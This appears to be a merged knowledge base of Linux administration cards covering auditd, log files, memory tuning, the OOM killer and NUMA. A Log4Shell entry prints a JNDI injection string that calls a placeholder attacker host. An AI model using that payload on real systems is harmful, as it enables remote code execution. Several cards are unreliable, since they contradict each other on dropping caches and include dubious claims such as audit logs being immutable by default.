# Add these 2 lines to <html><code>/etc/audit/audit.rules</code></html>:
<html><pre><code class="language-bash">-a exit,always -F arch=b64 -F euid=0 -S execve
-a exit,always -F arch=b32 -F euid=0 -S execve</code></pre></html>
These will track all commands run by root (euid=0). Why two rules? The execve syscall must be tracked in both 32 and 64 bit code.
# To get rid of <html><code>auid=4294967295</code></html> messages in logs, add <html><code>audit=1</code></html> to the kernel's cmdline (by editing <html><code>/etc/default/grub</code></html>)
# Place the line
Remember: Kernel manages hardware, memory, processes, I/O. User programs interact via syscalls.
Under the hood: Monolithic kernel with loadable modules. Extend without rebooting.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-kernel.tsv</code></html>
''Related atoms''
* [[auditd: kernel-level security audit logging for Linux]]
* [[auditd operates at kernel level with rule-based logging]]
* [[Syscall-level audit generates impractical data volumes]]
Standard system logs reside under <html><code>/var/log/</code></html>. Key files:
* <html><code>/var/log/syslog</code></html> (Debian/Ubuntu) or <html><code>/var/log/messages</code></html> (RHEL/CentOS): general system messages, kernel events, service start/stop, daemon output, hardware events.
* <html><code>/var/log/auth.log</code></html> (Debian/Ubuntu) or <html><code>/var/log/secure</code></html> (RHEL/CentOS): authentication events, SSH logins and failures, sudo usage, PAM messages.
* <html><code>/var/log/kern.log</code></html>: kernel messages.
* <html><code>/var/log/dmesg</code></html>: kernel ring buffer / boot messages.
* <html><code>/var/log/boot.log</code></html>: boot-time messages.
On systemd systems, the binary journal replaces or supplements these files. Query it with:
* <html><code>journalctl</code></html> — all logs
* <html><code>journalctl -u <service></code></html> — logs for a specific unit
* <html><code>journalctl -p err</code></html> — filter by priority
Log rotation is managed by <html><code>logrotate</code></html>, which compresses and cycles old log files on a schedule.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-kernel.tsv</code></html>
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
//Merged from 3 source atoms.//
''Related atoms''
* [[What is journald?]]
* [[How do system log locations differ between Debian and RHEL?]]
* [[On a system which uses systemd, how would you display the logs?]]
Q: True or False? only root can create files in /proc
A: False. No one can create file in /proc directly (certain operations can lead to files being created in /proc by the kernel).
Remember: Kernel manages hardware, memory, processes, I/O. User programs interact via syscalls.
Under the hood: Monolithic kernel with loadable modules. Extend without rebooting.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-kernel.tsv</code></html>
''Related atoms''
* [[The /proc virtual filesystem]]
* [[What is /proc/sys/?]]
* [[/proc filesystem exposes detailed system and process state]]
The Linux Audit System (auditd) logs security-relevant events at the kernel level: file access (reads, writes, attribute changes), system calls, user commands, authentication attempts, and network connections. Rules in <html><code>/etc/audit/rules.d/audit.rules</code></html> define what to monitor. Two common rule patterns: <html><code>-w /path -p wa -k identity</code></html> watches a path for writes and attribute changes; <html><code>-a always,exit -F arch=b64 -F euid=0 -S execve -k root_commands</code></html> logs all commands executed by root. The <html><code>-k</code></html> flag attaches a searchable key tag to events. Logs go to <html><code>/var/log/audit/audit.log</code></html> and are immutable by default. Query logs with <html><code>sudo ausearch</code></html> (filter by key, event type, or time range) or <html><code>sudo aureport</code></html> for summaries. Unlike rsyslog, auditd is designed for compliance and forensics — events are tied directly to system calls, making them reliable for detecting unauthorized access or configuration changes.
----
''Sources''
* <html><code>training/library/topics/linux-logging/primer.md</code></html>
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[Audit rules that log everything create noise and hide security signals]]
* [[How to log all commands run by root on production servers?]]
* [[Linux logging is a layered system with interdependent components]]
The kernel ring buffer captures hardware and driver events. journald captures structured events from systemd-managed services with rich metadata. rsyslog writes traditional log files and forwards to remote systems. logrotate keeps disk usage under control by rotating and compressing older logs. auditd provides security-focused audit trails. These components work together — journald feeds into rsyslog, which may write to disk or forward remotely; logrotate manages files written by both journald and rsyslog; kernel messages flow through journald. Understanding how these layers interact is essential for debugging production issues, investigating security incidents, and maintaining system health. The most important practical skills are: <html><code>journalctl -u <service></code></html> for quick service debugging, <html><code>dmesg -T</code></html> for kernel issues, <html><code>logrotate -f</code></html> for emergency rotation, and proper disk space monitoring to prevent log-induced outages.
----
''Sources''
* <html><code>training/library/topics/linux-logging/primer.md</code></html>
''Related atoms''
* [[auditd: kernel-level security audit logging for Linux]]
* [[Syscall-level audit generates impractical data volumes]]
* [[What is journald?]]
CVE-2021-44228, dubbed Log4Shell, is a critical remote code execution vulnerability in Apache Log4j 2, a Java logging library embedded in approximately 70% of Java applications worldwide. Disclosed in December 2021, it affected an estimated 3 billion devices and received a CVSS score of 10.0/10.0 — the maximum possible severity. The attack vector required no authentication: an attacker sends a crafted log message containing a JNDI lookup expression such as <html><code>${jndi:ldap://attacker.com/a}</code></html>. Log4j evaluates the expression, contacts the attacker-controlled server, and executes the returned payload. Though not a Linux-specific bug, it devastated Linux-hosted Java services given Java's dominance in server-side workloads. The incident became a defining example of supply-chain vulnerability: a single transitive dependency buried deep in countless projects could compromise internet-scale infrastructure with minimal attack complexity.
----
''Sources''
* <html><code>training/library/topics/linux-logging/trivia.md</code></html>
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
//Merged from 2 source atoms.//
Linux cgroups enforce memory limits separately from swap limits. A container with a 512 MB memory.max limit can be killed only when its RSS (resident set size) exceeds 512 MB. If swap is available and memory.swap.max is not set to 0 or to match memory.max, the container can exceed its memory limit by swapping anonymous pages to disk without triggering OOM termination.
From the container's perspective, the process remains within limits and continues running. The application sees no error or warning. In reality, the container is spending most of its time servicing page faults from disk, and performance drops 10-100x. This creates a silent failure mode where the container appears healthy but is barely functional.
The fix is to set memory.swap.max equal to memory.max (or to 0 to disable swap entirely). In Kubernetes, setting memory.requests equal to memory.limits achieves this. In Docker, the flags <html><code>--memory=512m --memory-swap=512m</code></html> establish parity. Monitoring both memory.current and memory.swap.current reveals whether a container is using swap. Any significant swap usage indicates a configuration problem: either the memory limit is too low, the application has a leak, or the cgroup limit is being exceeded.
----
''Sources''
* <html><code>training/library/topics/linux-memory-management/footguns.md</code></html>
The <html><code>vm.min_free_kbytes</code></html> kernel parameter specifies the minimum amount of physical memory the kernel reserves for emergency allocations — network packet buffers, interrupt handlers, and atomic allocation contexts that cannot block. If this reserve is too small (e.g., 1 MB on a 64 GB system), the kernel may lack memory to perform the work necessary to free memory, causing deadlock: a process tries to allocate, blocks on reclaim, but reclaim cannot complete because there is no memory for the reclaim machinery itself. The system hangs.
If the reserve is too large (e.g., 4 GB on the same 64 GB system), the kernel triggers aggressive page reclamation to maintain that reserve, wasting application memory and increasing swap pressure unnecessarily. Most of the 4 GB minimum-free reserve goes unused.
Reasonable bounds depend on system size and workload. A 64 GB system should maintain 64-256 MB. A 16 GB system should maintain 32-128 MB. Systems with high-speed networking (10 Gbps+) may need the upper range to buffer incoming packets during pressure. The value can be tuned via <html><code>/proc/sys/vm/min_free_kbytes</code></html> and persisted in <html><code>/etc/sysctl.d/</code></html>. Symptoms of too-low values are dropped network packets and apparent system freezes under memory pressure. Symptoms of too-high values are excessive swap and degraded cache performance.
----
''Sources''
* <html><code>training/library/topics/linux-memory-management/footguns.md</code></html>
''Related atoms''
* [[Core sysctl parameters control memory overcommit, swapping, reclaim, and OOM behavior]]
* [[Memory oversubscription in hypervisors causes host-level paging invisible to guests]]
* [[Linux memory overcommitment and vm.overcommit_memory]]
The Linux page cache is the kernel's mechanism for caching recently accessed filesystem data in RAM. Any memory not in use by processes is automatically added to the page cache, making it immediately available to applications if needed. The design assumes that cached data in RAM is more valuable than unused RAM.
Scheduling <html><code>echo 3 > /proc/sys/vm/drop_caches</code></html> in a cron job assumes the cache is wasteful and should be flushed to "free up" memory. In reality, dropping the cache is harmful. The next time any process reads a file, the kernel must fetch it from disk again. Databases see I/O spikes. Latency spikes. Throughput drops. The cache is then rebuilt over minutes, consuming disk I/O — only to be flushed again by the next cron run.
Dropping caches is justified only for benchmarking (achieving a cold-cache baseline) or one-time emergencies (reclaiming memory to prevent immediate OOM). It should never be automated. If a system is genuinely running out of memory, the root causes are a memory leak, insufficient RAM, or processes that need stricter resource limits. Dropping caches masks the problem and degrades performance until the real issue is diagnosed and fixed.
----
''Sources''
* <html><code>training/library/topics/linux-memory-management/footguns.md</code></html>
''Related atoms''
* [[High buff/cache is expected behavior; drop caches only for benchmarking]]
* [[Why does Linux sometimes prefer killing a large cache-heavy process over a memory hog?]]
* [[Linux page cache inflates 'used' memory; 'available' is the real metric]]
The OOMScoreAdjust systemd parameter adjusts how the OOM killer scores a process, with negative values protecting the process from termination. It is tempting to protect all critical services — database with -1000, application server with -1000, cache with -1000 — ensuring they are never killed. This strategy is self-defeating. The OOM killer must kill something when memory is exhausted. If all large, important processes are protected, the kernel kills smaller, seemingly less critical processes: sshd, cron, systemd-journald, the logging daemon.
Once SSH is killed or the logging daemon terminates, the administrator loses remote access and observability. Fixing the memory crisis becomes impossible without physical access. The system is now in a worse state than if a database had been killed.
The correct approach is to establish a priority order. Assign the most critical process (e.g., the database) a score of -900 (protected but killable as a last resort). Assign the application server -500 (less protected). Assign the cache 0 (default). Assign batch workers 500 (kill first). Ensure sshd and journald are protected with -900 so management access and logging survive. This forces the OOM killer to kill in priority order, keeping the system manageable. Monitor the effective oom_score for each process to verify the order before an actual OOM event occurs.
----
''Sources''
* <html><code>training/library/topics/linux-memory-management/footguns.md</code></html>
''Related atoms''
* [[Linux OOM killer: scoring, victim selection, and mitigation]]
* [[Rsync triggered Linux OOM killer on a single 50 GB file. How does the OOM killer decide…]]
* [[Analyzing out-of-memory kills from kernel logs and cgroup limits]]
Virtual machine provisioning often assumes workloads will not simultaneously use their allocated memory — a 64 GB host can run ten 8 GB VMs, totaling 80 GB. If all ten VMs attempt to use their full allocation, the hypervisor faces memory pressure and begins ballooning (reclaiming guest memory) or swapping at the host level. Every memory access inside the guest now involves a page fault to the hypervisor, which must fetch the page from host swap. The latency multiplies.
Guest operating systems have no visibility into this. <html><code>free</code></html> and <html><code>top</code></html> inside the VM show plenty of available memory. vmstat shows high CPU utilization. The culprit is the "steal time" (st column in vmstat), which represents time stolen by the hypervisor. High steal time — above 5% — indicates the host is paging or ballooning pages out from under the guest.
The fix is to avoid oversubscription. A 64 GB host should accommodate at most 48-56 GB of VM memory, allowing 10-20% headroom for host processes and page cache. Alternative approaches include enabling memory ballooning with alert thresholds, so operators are notified when overcommitment stress occurs, or using memory tiering (NUMA) to handle transient overcommitment. Always monitor steal time. Persistent steal time above 1-2% is a sign the host is overprovisioned.
----
''Sources''
* <html><code>training/library/topics/linux-memory-management/footguns.md</code></html>
''Related atoms''
* [[Active swapping (si/so) is the definitive check for memory pressure]]
* [[top memory line: ignore 'free', read 'available' and 'buff/cache']]
* [[vm.min_free_kbytes must balance deadlock risk against waste]]
tmpfs is a virtual filesystem that stores all data in RAM (and optionally swap). Contents are not persisted to disk and are lost on reboot unless re-created via <html><code>/etc/fstab</code></html>. Unlike ramfs, tmpfs supports swap backing and enforces configurable size limits.
Common mount points: <html><code>/tmp</code></html> (temporary files), <html><code>/run</code></html> (systemd runtime data), <html><code>/dev/shm</code></html> (POSIX shared memory). I/O is extremely fast because no disk is involved, which makes it useful for build caches, temporary databases, and shared-memory IPC.
Critical memory behavior: tmpfs consumption is not reclaimable by the kernel when applications need memory. Writing 10 GB to <html><code>/tmp</code></html> on a 32 GB system pins 10 GB of physical RAM. Workloads that generate large temporary files — database sort operations, build systems, logging pipelines — can silently exhaust memory by filling <html><code>/tmp</code></html> or <html><code>/dev/shm</code></html> with no obvious warning.
Size limits are mandatory in production. Set them at mount time with <html><code>size=</code></html> (e.g., <html><code>mount -t tmpfs -o size=2G tmpfs /tmp</code></html>) or via <html><code>/etc/fstab</code></html>. Add <html><code>nofail</code></html> in fstab so boot succeeds even if the mount point is absent. Apply <html><code>noexec,nosuid</code></html> to prevent code execution or privilege escalation from files written there.
Monitoring: <html><code>df -h -t tmpfs</code></html> reveals unexpected consumption. In containers, <html><code>--tmpfs /tmp:size=1G</code></html> prevents tmpfs pressure from silently consuming the container's memory budget. If <html><code>/dev/shm</code></html> is consistently near its limit, the application is using it for shared memory and may need configuration or a larger allocation.
----
''Sources''
* <html><code>training/library/topics/linux-memory-management/footguns.md</code></html>
* <html><code>training/interactive/knowledge/data/cards/linux-memory.tsv</code></html>
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
* <html><code>training/library/topics/mounts-filesystems/street_ops.md</code></html>
//Merged from 4 source atoms.//
''Related atoms''
* [[How mount a temporary ram partition?]]
* [[What is the purpose of /tmp?]]
Use <html><code>/proc/sys/vm/drop_caches</code></html> to clear page cache without data loss. Values 1, 2, and 3 progressively drop page cache, dentries, and inodes. Always run <html><code>sync</code></html> first to flush dirty pages to disk. This is safe for production because it only drops clean, reclaimable pages. Performance may dip temporarily during cache rebuild, but the system returns to normal operation. The operation is useful for benchmarking — you get cold cache conditions without reboot — and for emergencies when memory is critically low. The key safety guarantee: dirty pages are preserved and synced to disk before dropping.
----
''Sources''
* <html><code>training/library/topics/linux-memory-management/primer.md</code></html>
''Related atoms''
* [[High buff/cache is expected behavior; drop caches only for benchmarking]]
* [[Page cache is meant to consume free memory; dropping it harms production]]
* [[top memory line: ignore 'free', read 'available' and 'buff/cache']]
Linux memory management is tuned via sysctl parameters that control how the kernel responds to memory pressure. <html><code>vm.overcommit_memory</code></html> (modes 0, 1, 2) governs whether the kernel allows allocation beyond physical+swap memory or enforces strict limits. <html><code>vm.swappiness</code></html> (0–200) controls the balance between reclaiming cache and swapping to disk; lower values protect latency-sensitive workloads. <html><code>vm.dirty_ratio</code></html> and <html><code>vm.dirty_background_ratio</code></html> determine when the kernel forces writeback of modified pages to disk. <html><code>vm.panic_on_oom</code></html> and <html><code>vm.oom_kill_allocating_task</code></html> determine whether the kernel panics or selectively kills processes under OOM. <html><code>vm.zone_reclaim_mode</code></html> on NUMA systems controls whether to reclaim memory locally or fetch from remote nodes. <html><code>vm.min_free_kbytes</code></html> reserves memory for kernel operations. These parameters are interdependent — tuning one may affect system behavior under pressure. The defaults are conservative; production workloads often need customization based on workload type (database, web server, batch) and SLA requirements.
----
''Sources''
* <html><code>training/library/topics/linux-memory-management/primer.md</code></html>
''Related atoms''
* [[vm.swappiness controls cache vs. swap priority, not swap threshold]]
* [[vm.min_free_kbytes must balance deadlock risk against waste]]
* [[Linux memory overcommitment and vm.overcommit_memory]]
The kernel parameter <html><code>vm.swappiness</code></html> controls how aggressively the kernel swaps anonymous memory to disk versus reclaiming page cache. The default value of 60 causes the kernel to swap readily, introducing disk latency (milliseconds to seconds) that is intolerable for databases and latency-sensitive workloads.
Recommended values:
* Database servers: 1–10 to minimize swapping while keeping it available as a last resort.
* General servers: 10–20 to strongly prefer page-cache reclaim over swapping.
* Desktop: 60 (default) for interactive responsiveness.
Note: setting swappiness to 0 does not disable swap entirely; it instructs the kernel to prefer dropping page cache over swapping, but swap can still occur under memory pressure.
Detect active swapping with <html><code>vmstat</code></html>: nonzero values in the <html><code>si</code></html> (swap in) and <html><code>so</code></html> (swap out) columns indicate the system is actively moving memory to or from disk.
Companion tuning: set <html><code>vm.vfs_cache_pressure=50</code></html> to reduce aggressiveness of dentry/inode cache reclaim, preserving page cache longer.
The tradeoff: lower swappiness directs more physical memory toward page cache. On servers with stable workloads and sufficient RAM, this is the correct behavior.
----
''Sources''
* <html><code>training/library/topics/linux-memory-management/street_ops.md</code></html>
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[top memory line: ignore 'free', read 'available' and 'buff/cache']]
* [[Core sysctl parameters control memory overcommit, swapping, reclaim, and OOM behavior]]
* [[Active swapping (si/so) is the definitive check for memory pressure]]
Pressure Stall Information (PSI) metrics in <html><code>/proc/pressure/memory</code></html> show the percentage of time that tasks stalled waiting for memory. The <html><code>some</code></html> metric indicates at least one task was stalled; <html><code>full</code></html> means all tasks stalled simultaneously. Each metric has rolling averages over 10 seconds, 60 seconds, and 300 seconds. Interpretation: <html><code>some avg10 > 10%</code></html> or <html><code>full avg10 > 1%</code></html> signals significant memory pressure. PSI provides earlier warning than OOM or swapping — you can observe pressure building before the system crashes. Per-cgroup PSI is available at <html><code>/sys/fs/cgroup/*/memory.pressure</code></html>, allowing detection of memory pressure within specific containers or services. PSI is the modern approach to memory monitoring; it complements and replaces <html><code>vmstat si/so</code></html> (swap pressure) and <html><code>free</code></html> (absolute memory) because it directly measures impact on task execution.
----
''Sources''
* <html><code>training/library/topics/linux-memory-management/street_ops.md</code></html>
''Related atoms''
* [[What is PSI (Pressure Stall Information)?]]
* [[What is `cgroups v2 memory.pressure`?]]
* [[Core sysctl parameters control memory overcommit, swapping, reclaim, and OOM behavior]]
When a process RSS (Resident Set Size) grows over time without shrinking, diagnose the leak using systematic measurement before attempting a fix — without requiring a restart.
''Detection:'' Track <html><code>VmRSS</code></html> and <html><code>VmHWM</code></html> (high-water mark) from <html><code>/proc/PID/status</code></html> at intervals via <html><code>watch</code></html> or a log loop. Use <html><code>smem</code></html> to view PSS (Proportional Set Size) per process, which apportions shared memory more accurately than RSS.
''Memory map analysis:'' <html><code>pmap -x <pid></code></html> shows the largest mappings and per-region RSS. <html><code>/proc/PID/smaps</code></html> and <html><code>smaps_rollup</code></html> break down memory by region (heap, stack, shared, private). Growth in <html><code>Private_Dirty</code></html> indicates heap or leak expansion. Distinguish virtual allocation (<html><code>VmData</code></html>) from actual usage (RSS): a process can allocate 4 GB but use only 1 GB if the rest has never been touched.
''Profiling tools:'' <html><code>valgrind --tool=massif</code></html> profiles heap allocations (attach if possible). <html><code>heaptrack</code></html> records native allocations with lower overhead. For Java processes, use <html><code>jmap -histo</code></html> or <html><code>jcmd</code></html> to inspect live heap objects.
''Containers:'' Check the cgroup <html><code>memory.stat</code></html> file to distinguish memory in heap (<html><code>anon</code></html>), page cache (<html><code>file</code></html>), or kernel slab (<html><code>kernel</code></html>), since cgroup limits apply to the total.
Narrow scope systematically: confirm RSS growth, locate the region via smaps, then apply the appropriate profiler.
----
''Sources''
* <html><code>training/library/topics/linux-memory-management/street_ops.md</code></html>
* <html><code>training/interactive/knowledge/data/cards/linux-memory.tsv</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[Find high-memory processes by RSS, PSS, or /proc parsing]]
* [[How can you find how much memory a specific process consumes?]]
Multi-socket servers implement Non-Uniform Memory Access (NUMA): each CPU socket has local memory (~50–80 ns latency) and remote memory on other sockets (~75–150 ns, 1.5–2x slower in typical configurations; 2–5x in some topologies). When processes allocate memory on one socket but execute threads on another, every cross-socket access crosses the interconnect fabric and incurs remote latency. NUMA-unaware workloads — especially databases such as PostgreSQL, MySQL, and Oracle — can lose 30–40% of theoretical memory bandwidth or throughput with no error messages; degradation is silent.
Detection: <html><code>numactl --hardware</code></html> reveals NUMA topology. <html><code>numastat</code></html> or <html><code>numastat -m</code></html> shows system-wide local vs. remote access counts. <html><code>numastat -p PID</code></html> (or <html><code>-c $(pidof process)</code></html>) gives per-process, per-node allocation. High <html><code>numa_miss</code></html> and <html><code>numa_foreign</code></html> counts indicate cross-socket traffic. A 2:1 ratio of local-to-remote accesses is acceptable; ratios heavily skewed toward remote indicate misconfiguration. <html><code>/proc/numa_maps</code></html> provides detailed per-mapping breakdown.
Mitigation: For latency-sensitive single-instance services, bind the process and its memory to one socket: <html><code>numactl --cpunodebind=0 --membind=0 /path/to/process</code></html>. This trades aggregate capacity for predictable low latency. For general or throughput-oriented workloads, spread allocations evenly with <html><code>numactl --interleave=all</code></html>. The kernel also provides automatic NUMA balancing (<html><code>kernel.numa_balancing</code></html>), which migrates processes and pages toward co-located memory, but the migration overhead makes it suboptimal for latency-sensitive workloads. The <html><code>mbind()</code></html> syscall provides programmatic per-allocation NUMA policy.
Hardware upgrades that add sockets or cores frequently introduce NUMA regressions: applications that previously accessed local memory now span sockets and silently degrade.
----
''Sources''
* <html><code>training/library/topics/linux-memory-management/street_ops.md</code></html>
* <html><code>training/library/topics/linux-memory-management/trivia.md</code></html>
* <html><code>training/library/topics/linux-performance/street_ops.md</code></html>
* <html><code>training/library/topics/linux-performance/trivia.md</code></html>
//Merged from 4 source atoms.//
''Related atoms''
* [[What is NUMA?]]
* [[Core sysctl parameters control memory overcommit, swapping, reclaim, and OOM behavior]]
* [[What is the `numactl` command?]]
High <html><code>buff/cache</code></html> output from <html><code>free</code></html> is not a memory problem — it is correct Linux behavior. The kernel deliberately caches file and block device data in free RAM because unused memory is wasted memory. The <html><code>available</code></html> column in <html><code>free</code></html> shows how much memory can be reclaimed for applications; it is the metric to watch, not the <html><code>free</code></html> column. Dropping caches via <html><code>echo 3 | sudo tee /proc/sys/vm/drop_caches</code></html> is safe and sometimes necessary — for benchmarking (to get cold cache conditions) or emergencies (free memory is genuinely depleted). However, routinely dropping caches in production hurts performance because the caches rebuild, causing sustained I/O storms. Operators who misinterpret high buff/cache as a problem and schedule periodic cache drops actively degrade system performance. The rule: if <html><code>MemAvailable</code></html> is adequate and OOM events are not occurring, high buff/cache is healthy. Cache is self-healing; do not interfere.
----
''Sources''
* <html><code>training/library/topics/linux-memory-management/street_ops.md</code></html>
''Related atoms''
* [[Linux page cache inflates 'used' memory; 'available' is the real metric]]
* [[Page cache is meant to consume free memory; dropping it harms production]]
* [[top memory line: ignore 'free', read 'available' and 'buff/cache']]
A swap storm occurs when the system exhausts physical RAM and begins aggressively swapping to disk, causing load average to spike to 50+ and system responsiveness to collapse. The diagnostic signature is high values in vmstat's <html><code>si</code></html> (swap in) and <html><code>so</code></html> (swap out) columns, often in the thousands of pages per second. The system becomes I/O bound rather than CPU bound, spending cycles moving memory pages to and from storage. Recovery requires identifying the memory-consuming process(es) via <html><code>ps</code></html> and <html><code>awk</code></html> over <html><code>/proc/[pid]/status</code></html>, then choosing an appropriate response: graceful termination of the culprit, cache flushing to recover breathing room, temporary reduction of swappiness to slow the churn, or cgroup-based limits. Adding emergency swap at low priority is a last resort that buys time but doesn't fix the underlying overcommitment. The key is acting quickly — a swap storm will degrade to complete unresponsiveness within minutes.
----
''Sources''
* <html><code>training/library/topics/linux-memory-management/street_ops.md</code></html>
''Related atoms''
* [[Senior incident response: diagnose before treating]]
* [[Memory pressure masquerades as high CPU]]
* [[vm.swappiness controls cache vs. swap priority, not swap threshold]]
Transparent Huge Pages (THP) allows the kernel to allocate 2MB memory blocks instead of 4KB pages, reducing TLB pressure and theoretically improving performance. However, maintaining huge page allocations requires memory compaction — finding and moving contiguous free pages to create large blocks. This compaction stalls application threads. In memory-intensive workloads like Redis or MongoDB, THP compaction latency manifests as periodic spikes (every few seconds to minutes) of 100ms+ response times. The symptom is visible in <html><code>vmstat</code></html> as high <html><code>compact_stall</code></html> counts and in application metrics as unpredictable tail latency despite consistent average performance. THP helps for CPU-heavy workloads with regular access patterns (databases benefit rarely, HPC sometimes). For latency-sensitive services, disabling THP via <html><code>/sys/kernel/mm/transparent_hugepage/enabled</code></html> and making it persistent via systemd service eliminates the spikes. Redis and MongoDB documentation explicitly recommend disabling THP.
----
''Sources''
* <html><code>training/library/topics/linux-memory-management/footguns.md</code></html>
* <html><code>training/library/topics/linux-memory-management/trivia.md</code></html>
* <html><code>training/library/topics/linux-memory-management/street_ops.md</code></html>
//Merged from 3 source atoms.//
''Related atoms''
* [[Huge pages reduce TLB misses by two orders of magnitude]]
* [[The 60-second performance triage checklist covers all four resources]]
* [[vm.swappiness tuning for latency-sensitive servers]]
<html><code>MemAvailable</code></html> in <html><code>/proc/meminfo</code></html> (shown as <html><code>available</code></html> in <html><code>free -h</code></html>) is the single best indicator of real memory pressure — it represents the amount of memory the kernel estimates as reclaimable without forcing OOM conditions. Raw <html><code>MemFree</code></html> and the <html><code>used</code></html> percentage are both misleading: the kernel aggressively fills free space with filesystem cache, which is instantly recoverable when needed, so high <html><code>used</code></html> values are normal and not indicative of pressure.
Interpretation thresholds: if <html><code>MemAvailable</code></html> exceeds 10% of total RAM the system is comfortable; 1–5% indicates stress but functional operation; below 1% requires immediate action, as the kernel will begin swapping or triggering OOM kills.
<html><code>vmstat</code></html>'s <html><code>si</code></html>/<html><code>so</code></html> columns (swap-in / swap-out) distinguish active from stale swap. Zero <html><code>si</code></html>/<html><code>so</code></html> means swapped pages are dormant and harmless. Consistently nonzero values indicate thrashing and true overcommitment. A machine with 2 GB of swap populated on 64 GB of RAM is normal; it is the activity rate that matters.
The <html><code>Slab</code></html> and <html><code>SReclaimable</code></html> fields in <html><code>/proc/meminfo</code></html> identify kernel-structure memory that can be dropped under pressure and should be accounted for when estimating available headroom.
When diagnosing memory problems: check <html><code>MemAvailable</code></html> first, then <html><code>si</code></html>/<html><code>so</code></html>. Ignore <html><code>used</code></html> percentage as a primary signal.
----
''Sources''
* <html><code>training/library/topics/linux-memory-management/street_ops.md</code></html>
* <html><code>training/library/topics/linux-performance/primer.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[A junior engineer sees 128 MB free in `top` and panics that the server is out of memory…]]
* [[Core sysctl parameters control memory overcommit, swapping, reclaim, and OOM behavior]]
* [[top memory line: ignore 'free', read 'available' and 'buff/cache']]
Linux allows programs to allocate more virtual memory than physical memory (overcommit), relying on lazy allocation — memory is only reserved when actually written to. This allows <html><code>fork()</code></html> to efficiently duplicate a parent process's address space without doubling the physical memory requirement. The kernel offers three overcommit modes: mode 0 (heuristic, the default) allows overcommit but will OOM-kill processes if actual memory runs out; mode 1 (always) never refuses allocation and will definitely OOM-kill if overcommitted; mode 2 (strict) refuses allocations that would exceed <html><code>(RAM + swap) * overcommit_ratio</code></html>, giving programs a catchable MemoryError instead of an OOM kill. Batch processing servers benefit from mode 2 because a MemoryError allows the program to fail gracefully or handle the error. Web servers typically use mode 0 because the heuristic usually prevents OOM, and mode 2 would block <html><code>fork()</code></html> during peak load. Choice of mode depends on workload: interactive services want robustness, batch jobs want early failure detection.
----
''Sources''
* <html><code>training/library/topics/linux-memory-management/thinking_out_loud.md</code></html>
''Related atoms''
* [[Linux memory overcommitment and vm.overcommit_memory]]
* [[Core sysctl parameters control memory overcommit, swapping, reclaim, and OOM behavior]]
When a process is OOM-killed, the junior response is to increase VM size or add swap and re-run. The senior response is to diagnose why the process consumes that much memory in the first place, then implement both a stopgap (swap, resize) to unblock today and a proper fix (algorithm change, chunked processing, database-native aggregation) for the long term. A 12GB CSV file that consumes 30GB of RAM likely indicates the process loads the entire file into memory, when streaming or chunked processing would suffice — fixing the code prevents the problem from recurring as data grows. Monitoring the re-run after the fix reveals the actual memory profile: does it climb steadily (leak)? Spike once (peak allocation)? This shapes the long-term solution. Each layer addresses a different failure mode: swap handles the immediate emergency, code changes prevent future emergencies, and monitoring validates that the fix works.
----
''Sources''
* <html><code>training/library/topics/linux-memory-management/thinking_out_loud.md</code></html>
''Related atoms''
* [[Diagnosing and responding to swap storms]]
* [[Three heuristics for OOM diagnosis and recovery]]
When responding to an OOM-killed process: (1) Read the OOM log in dmesg — it contains the exact memory state, process RSS, and oom_score at the moment of the kill, making it your primary diagnostic data. (2) Overcommit mode matters — mode 0 (default) allows overcommit but OOM-kills, mode 2 (strict) refuses allocations and gives catchable errors. Choose based on whether the workload is interactive (mode 0) or batch (mode 2). (3) Implement both quick and proper fixes — add swap or resize to unblock today, but also rewrite the code to handle data in chunks or move aggregation to the database, so the problem doesn't recur as data grows.
----
''Sources''
* <html><code>training/library/topics/linux-memory-management/thinking_out_loud.md</code></html>
''Related atoms''
* [[Linux OOM killer: scoring, victim selection, and mitigation]]
* [[Analyzing out-of-memory kills from kernel logs and cgroup limits]]
* [[Senior incident response: diagnose before treating]]
By default, Linux allows processes to allocate more virtual memory than the system physically possesses. When a process calls <html><code>malloc()</code></html> requesting memory the kernel cannot physically back, the kernel returns success anyway, assuming most processes over-allocate and will not use every byte. This is memory overcommitment, controlled by the <html><code>vm.overcommit_memory</code></html> sysctl:
* ''0'' (default): heuristic overcommit — kernel estimates whether the allocation is reasonable and may deny pathological requests.
* ''1'': always overcommit — <html><code>malloc</code></html> never fails regardless of available memory.
* ''2'': strict commit mode — total committed memory is limited to swap plus a configurable ratio of physical RAM; allocations beyond that return NULL.
Overcommitment creates a deferred contract: memory that succeeded at <html><code>malloc</code></html> time may fail at access time. When a process actually writes to allocated pages, if physical memory is exhausted, the Out-of-Memory (OOM) Killer activates and sends SIGKILL to one or more processes — no exception, no recovery opportunity for the application.
For services that must fail predictably, <html><code>vm.overcommit_memory=2</code></html> enforces strict accountability: every successful allocation has guaranteed backing memory. The trade-off is that legitimate allocations may fail when memory is genuinely full. In containerized environments (Kubernetes, Docker), cgroup memory limits impose similar accounting — a process cannot commit memory beyond its cgroup ceiling, making OOM kills container-scoped rather than system-wide.
----
''Sources''
* <html><code>training/library/topics/linux-memory-management/trivia.md</code></html>
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[Core sysctl parameters control memory overcommit, swapping, reclaim, and OOM behavior]]
* [[Linux overcommit modes trade off flexibility for predictability]]
* [[vm.min_free_kbytes must balance deadlock risk against waste]]
Linux aggressively caches filesystem data in RAM (the page cache) to speed up subsequent reads. A system reporting 90–99% memory "used" often has 60–70% of that as reclaimable page cache, not actual application memory. Administrators routinely misread this as exhaustion.
The page cache is immediately reclaimable: when an application requests an allocation, the kernel discards cache entries and satisfies the request. Idle memory is wasted memory; caching data for potential future use is the intended design.
